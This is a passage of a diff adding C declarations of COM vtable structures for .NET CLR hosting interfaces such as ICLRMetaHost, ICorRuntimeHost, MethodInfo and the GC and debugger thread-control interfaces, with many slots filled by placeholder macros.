DUMMY_METHOD(GetMember_2); + DUMMY_METHOD(GetMembers); + DUMMY_METHOD(InvokeMember); + DUMMY_METHOD(UnderlyingSystemType); + DUMMY_METHOD(InvokeMember_2); + + HRESULT(STDMETHODCALLTYPE* InvokeMember_3)( + IType* This, + BSTR name, + BindingFlags invokeAttr, + IBinder* Binder, + VARIANT Target, + SAFEARRAY* args, + VARIANT* pRetVal); + + DUMMY_METHOD(GetConstructor); + DUMMY_METHOD(GetConstructor_2); + DUMMY_METHOD(GetConstructor_3); + DUMMY_METHOD(GetConstructors_2); + DUMMY_METHOD(TypeInitializer); + DUMMY_METHOD(GetMethod_3); + DUMMY_METHOD(GetMethod_4); + DUMMY_METHOD(GetMethod_5); + DUMMY_METHOD(GetMethod_6); + DUMMY_METHOD(GetMethods_2); + DUMMY_METHOD(GetField_2); + DUMMY_METHOD(GetFields_2); + DUMMY_METHOD(GetInterface_2); + DUMMY_METHOD(GetEvent_2); + DUMMY_METHOD(GetProperty_3); + DUMMY_METHOD(GetProperty_4); + DUMMY_METHOD(GetProperty_5); + DUMMY_METHOD(GetProperty_6); + DUMMY_METHOD(GetProperty_7); + DUMMY_METHOD(GetProperties_2); + DUMMY_METHOD(GetNestedTypes_2); + DUMMY_METHOD(GetNestedType_2); + DUMMY_METHOD(GetMember_3); + DUMMY_METHOD(GetMembers_2); + DUMMY_METHOD(Attributes); + DUMMY_METHOD(IsNotPublic); + DUMMY_METHOD(IsPublic); + DUMMY_METHOD(IsNestedPublic); + DUMMY_METHOD(IsNestedPrivate); + DUMMY_METHOD(IsNestedFamily); + DUMMY_METHOD(IsNestedAssembly); + DUMMY_METHOD(IsNestedFamANDAssem); + DUMMY_METHOD(IsNestedFamORAssem); + DUMMY_METHOD(IsAutoLayout); + DUMMY_METHOD(IsLayoutSequential); + DUMMY_METHOD(IsExplicitLayout); + DUMMY_METHOD(IsClass); + DUMMY_METHOD(IsInterface); + DUMMY_METHOD(IsValueType); + DUMMY_METHOD(IsAbstract); + DUMMY_METHOD(IsSealed); + DUMMY_METHOD(IsEnum); + DUMMY_METHOD(IsSpecialName); + DUMMY_METHOD(IsImport); + DUMMY_METHOD(IsSerializable); + DUMMY_METHOD(IsAnsiClass); + DUMMY_METHOD(IsUnicodeClass); + DUMMY_METHOD(IsAutoClass); + DUMMY_METHOD(IsArray); + DUMMY_METHOD(IsByRef); + DUMMY_METHOD(IsPointer); + DUMMY_METHOD(IsPrimitive); + DUMMY_METHOD(IsCOMObject); + DUMMY_METHOD(HasElementType); + DUMMY_METHOD(IsContextful); + DUMMY_METHOD(IsMarshalByRef); + DUMMY_METHOD(Equals_2); + + END_INTERFACE +} TypeVtbl; + +typedef struct ICLRRuntimeInfoVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + ICLRRuntimeInfo* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + ICLRRuntimeInfo* This); + + ULONG(STDMETHODCALLTYPE* Release)( + ICLRRuntimeInfo* This); + + HRESULT(STDMETHODCALLTYPE* GetVersionString)( + ICLRRuntimeInfo* This, + /* [size_is][out] */ + __out_ecount_full_opt(*pcchBuffer) LPWSTR pwzBuffer, + /* [out][in] */ DWORD* pcchBuffer); + + HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)( + ICLRRuntimeInfo* This, + /* [size_is][out] */ + __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, + /* [out][in] */ DWORD* pcchBuffer); + + HRESULT(STDMETHODCALLTYPE* IsLoaded)( + ICLRRuntimeInfo* This, + /* [in] */ HANDLE hndProcess, + /* [retval][out] */ BOOL* pbLoaded); + + HRESULT(STDMETHODCALLTYPE* LoadErrorString)( + ICLRRuntimeInfo* This, + /* [in] */ UINT iResourceID, + /* [size_is][out] */ + __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, + /* [out][in] */ DWORD* pcchBuffer, + /* [lcid][in] */ LONG iLocaleID); + + HRESULT(STDMETHODCALLTYPE* LoadLibrary)( + ICLRRuntimeInfo* This, + /* [in] */ LPCWSTR pwzDllName, + /* [retval][out] */ HMODULE* phndModule); + + HRESULT(STDMETHODCALLTYPE* GetProcAddress)( + ICLRRuntimeInfo* This, + /* [in] */ LPCSTR pszProcName, + /* [retval][out] */ LPVOID* ppProc); + + HRESULT(STDMETHODCALLTYPE* GetInterface)( + ICLRRuntimeInfo* This, + /* [in] */ REFCLSID rclsid, + /* [in] */ REFIID riid, + /* [retval][iid_is][out] */ LPVOID* ppUnk); + + HRESULT(STDMETHODCALLTYPE* IsLoadable)( + ICLRRuntimeInfo* This, + /* [retval][out] */ BOOL* pbLoadable); + + HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)( + ICLRRuntimeInfo* This, + /* [in] */ DWORD dwStartupFlags, + /* [in] */ LPCWSTR pwzHostConfigFile); + + HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)( + ICLRRuntimeInfo* This, + /* [out] */ DWORD* pdwStartupFlags, + /* [size_is][out] */ + __out_ecount_full_opt(*pcchHostConfigFile) LPWSTR pwzHostConfigFile, + /* [out][in] */ DWORD* pcchHostConfigFile); + + HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)( + ICLRRuntimeInfo* This); + + HRESULT(STDMETHODCALLTYPE* IsStarted)( + ICLRRuntimeInfo* This, + /* [out] */ BOOL* pbStarted, + /* [out] */ DWORD* pdwStartupFlags); + + END_INTERFACE +} ICLRRuntimeInfoVtbl; + +typedef struct _ICLRRuntimeInfo { + ICLRRuntimeInfoVtbl* lpVtbl; +} ICLRRuntimeInfo; + +typedef struct _Type { + TypeVtbl* lpVtbl; +} Type; + +typedef struct ICLRMetaHostVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + ICLRMetaHost* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + ICLRMetaHost* This); + + ULONG(STDMETHODCALLTYPE* Release)( + ICLRMetaHost* This); + + HRESULT(STDMETHODCALLTYPE* GetRuntime)( + ICLRMetaHost* This, + /* [in] */ LPCWSTR pwzVersion, + /* [in] */ REFIID riid, + /* [retval][iid_is][out] */ LPVOID* ppRuntime); + + HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)( + ICLRMetaHost* This, + /* [in] */ LPCWSTR pwzFilePath, + /* [size_is][out] */ + __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, + /* [out][in] */ DWORD* pcchBuffer); + + HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)( + ICLRMetaHost* This, + /* [retval][out] */ IEnumUnknown** ppEnumerator); + + HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)( + ICLRMetaHost* This, + /* [in] */ HANDLE hndProcess, + /* [retval][out] */ IEnumUnknown** ppEnumerator); + + HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)( + ICLRMetaHost* This, + /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction); + + HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)( + ICLRMetaHost* This, + /* [in] */ REFIID riid, + /* [retval][iid_is][out] */ LPVOID* ppUnk); + + HRESULT(STDMETHODCALLTYPE* ExitProcess)( + ICLRMetaHost* This, + /* [in] */ INT32 iExitCode); + + END_INTERFACE +} ICLRMetaHostVtbl; + +typedef struct _ICLRMetaHost +{ + ICLRMetaHostVtbl* lpVtbl; +} ICLRMetaHost; + +typedef struct ICorRuntimeHostVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + ICorRuntimeHost* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + ICorRuntimeHost* This); + + ULONG(STDMETHODCALLTYPE* Release)( + ICorRuntimeHost* This); + + HRESULT(STDMETHODCALLTYPE* CreateLogicalThreadState)( + ICorRuntimeHost* This); + + HRESULT(STDMETHODCALLTYPE* DeleteLogicalThreadState)( + ICorRuntimeHost* This); + + HRESULT(STDMETHODCALLTYPE* SwitchInLogicalThreadState)( + ICorRuntimeHost* This, + /* [in] */ DWORD* pFiberCookie); + + HRESULT(STDMETHODCALLTYPE* SwitchOutLogicalThreadState)( + ICorRuntimeHost* This, + /* [out] */ DWORD** pFiberCookie); + + HRESULT(STDMETHODCALLTYPE* LocksHeldByLogicalThread)( + ICorRuntimeHost* This, + /* [out] */ DWORD* pCount); + + HRESULT(STDMETHODCALLTYPE* MapFile)( + ICorRuntimeHost* This, + /* [in] */ HANDLE hFile, + /* [out] */ HMODULE* hMapAddress); + + HRESULT(STDMETHODCALLTYPE* GetConfiguration)( + ICorRuntimeHost* This, + /* [out] */ ICorConfiguration* *pConfiguration); + + HRESULT(STDMETHODCALLTYPE* Start)( + ICorRuntimeHost* This); + + HRESULT(STDMETHODCALLTYPE* Stop)( + ICorRuntimeHost* This); + + HRESULT(STDMETHODCALLTYPE* CreateDomain)( + ICorRuntimeHost* This, + /* [in] */ LPCWSTR pwzFriendlyName, + /* [in] */ IUnknown* pIdentityArray, + /* [out] */ IUnknown** pAppDomain); + + HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)( + ICorRuntimeHost* This, + /* [out] */ IUnknown** pAppDomain); + + HRESULT(STDMETHODCALLTYPE* EnumDomains)( + ICorRuntimeHost* This, + /* [out] */ HDOMAINENUM* hEnum); + + HRESULT(STDMETHODCALLTYPE* NextDomain)( + ICorRuntimeHost* This, + /* [in] */ HDOMAINENUM hEnum, + /* [out] */ IUnknown** pAppDomain); + + HRESULT(STDMETHODCALLTYPE* CloseEnum)( + ICorRuntimeHost* This, + /* [in] */ HDOMAINENUM hEnum); + + HRESULT(STDMETHODCALLTYPE* CreateDomainEx)( + ICorRuntimeHost* This, + /* [in] */ LPCWSTR pwzFriendlyName, + /* [in] */ IUnknown* pSetup, + /* [in] */ IUnknown* pEvidence, + /* [out] */ IUnknown** pAppDomain); + + HRESULT(STDMETHODCALLTYPE* CreateDomainSetup)( + ICorRuntimeHost* This, + /* [out] */ IUnknown** pAppDomainSetup); + + HRESULT(STDMETHODCALLTYPE* CreateEvidence)( + ICorRuntimeHost* This, + /* [out] */ IUnknown** pEvidence); + + HRESULT(STDMETHODCALLTYPE* UnloadDomain)( + ICorRuntimeHost* This, + /* [in] */ IUnknown* pAppDomain); + + HRESULT(STDMETHODCALLTYPE* CurrentDomain)( + ICorRuntimeHost* This, + /* [out] */ IUnknown** pAppDomain); + + END_INTERFACE +} ICorRuntimeHostVtbl; + +typedef struct _ICorRuntimeHost { + ICorRuntimeHostVtbl* lpVtbl; +} ICorRuntimeHost; + +#undef DUMMY_METHOD +#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This) + +typedef struct _MethodInfoVtbl { + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IMethodInfo* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IMethodInfo* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IMethodInfo* This); + + DUMMY_METHOD(GetTypeInfoCount); + DUMMY_METHOD(GetTypeInfo); + DUMMY_METHOD(GetIDsOfNames); + DUMMY_METHOD(Invoke); + + DUMMY_METHOD(ToString); + DUMMY_METHOD(Equals); + DUMMY_METHOD(GetHashCode); + DUMMY_METHOD(GetType); + DUMMY_METHOD(MemberType); + DUMMY_METHOD(name); + DUMMY_METHOD(DeclaringType); + DUMMY_METHOD(ReflectedType); + DUMMY_METHOD(GetCustomAttributes); + DUMMY_METHOD(GetCustomAttributes_2); + DUMMY_METHOD(IsDefined); + + HRESULT(STDMETHODCALLTYPE* GetParameters)( + IMethodInfo* This, + SAFEARRAY** pRetVal); + + DUMMY_METHOD(GetMethodImplementationFlags); + DUMMY_METHOD(MethodHandle); + DUMMY_METHOD(Attributes); + DUMMY_METHOD(CallingConvention); + DUMMY_METHOD(Invoke_2); + DUMMY_METHOD(IsPublic); + DUMMY_METHOD(IsPrivate); + DUMMY_METHOD(IsFamily); + DUMMY_METHOD(IsAssembly); + DUMMY_METHOD(IsFamilyAndAssembly); + DUMMY_METHOD(IsFamilyOrAssembly); + DUMMY_METHOD(IsStatic); + DUMMY_METHOD(IsFinal); + DUMMY_METHOD(IsVirtual); + DUMMY_METHOD(IsHideBySig); + DUMMY_METHOD(IsAbstract); + DUMMY_METHOD(IsSpecialName); + DUMMY_METHOD(IsConstructor); + + HRESULT(STDMETHODCALLTYPE* Invoke_3)( + IMethodInfo* This, + VARIANT obj, + SAFEARRAY* parameters, + VARIANT* ret); + + DUMMY_METHOD(returnType); + DUMMY_METHOD(ReturnTypeCustomAttributes); + DUMMY_METHOD(GetBaseDefinition); + + END_INTERFACE +} MethodInfoVtbl; + +typedef struct _MethodInfo { + MethodInfoVtbl* lpVtbl; +} MethodInfo; + +typedef struct ICorConfigurationVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + ICorConfiguration* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + ICorConfiguration* This); + + ULONG(STDMETHODCALLTYPE* Release)( + ICorConfiguration* This); + + HRESULT(STDMETHODCALLTYPE* SetGCThreadControl)( + ICorConfiguration* This, + /* [in] */ IGCThreadControl* pGCThreadControl); + + HRESULT(STDMETHODCALLTYPE* SetGCHostControl)( + ICorConfiguration* This, + /* [in] */ IGCHostControl* pGCHostControl); + + HRESULT(STDMETHODCALLTYPE* SetDebuggerThreadControl)( + ICorConfiguration* This, + /* [in] */ IDebuggerThreadControl* pDebuggerThreadControl); + + HRESULT(STDMETHODCALLTYPE* AddDebuggerSpecialThread)( + ICorConfiguration* This, + /* [in] */ DWORD dwSpecialThreadId); + + END_INTERFACE +} ICorConfigurationVtbl; + +typedef struct _ICorConfiguration +{ + ICorConfigurationVtbl* lpVtbl; +}ICorConfiguration; + +typedef struct IGCThreadControlVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IGCThreadControl* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IGCThreadControl* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IGCThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForSuspension)( + IGCThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* SuspensionStarting)( + IGCThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* SuspensionEnding)( + IGCThreadControl* This, + DWORD Generation); + + END_INTERFACE +} IGCThreadControlVtbl; + +typedef struct _IGCThreadControl +{ + IGCThreadControlVtbl* lpVtbl; +}IGCThreadControl; + +typedef struct IGCHostControlVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IGCHostControl* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IGCHostControl* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IGCHostControl* This); + + HRESULT(STDMETHODCALLTYPE* RequestVirtualMemLimit)( + IGCHostControl* This, + /* [in] */ SIZE_T sztMaxVirtualMemMB, + /* [out][in] */ SIZE_T* psztNewMaxVirtualMemMB); + + END_INTERFACE +} IGCHostControlVtbl; + +typedef struct _IGCHostControl +{ + IGCHostControlVtbl* lpVtbl; +} IGCHostControl; + +typedef struct IDebuggerThreadControlVtbl +{ + BEGIN_INTERFACE + + HRESULT(STDMETHODCALLTYPE* QueryInterface)( + IDebuggerThreadControl* This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ + __RPC__deref_out void** ppvObject); + + ULONG(STDMETHODCALLTYPE* AddRef)( + IDebuggerThreadControl* This); + + ULONG(STDMETHODCALLTYPE* Release)( + IDebuggerThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForDebugger)( + IDebuggerThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* ReleaseAllRuntimeThreads)( + IDebuggerThreadControl* This); + + HRESULT(STDMETHODCALLTYPE* StartBlockingForDebugger)( + IDebuggerThreadControl* This, + DWORD dwUnused); + + END_INTERFACE +} IDebuggerThreadControlVtbl; + +typedef struct _IDebuggerThreadControl { + IDebuggerThreadControlVtbl* lpVtbl; +} IDebuggerThreadControl;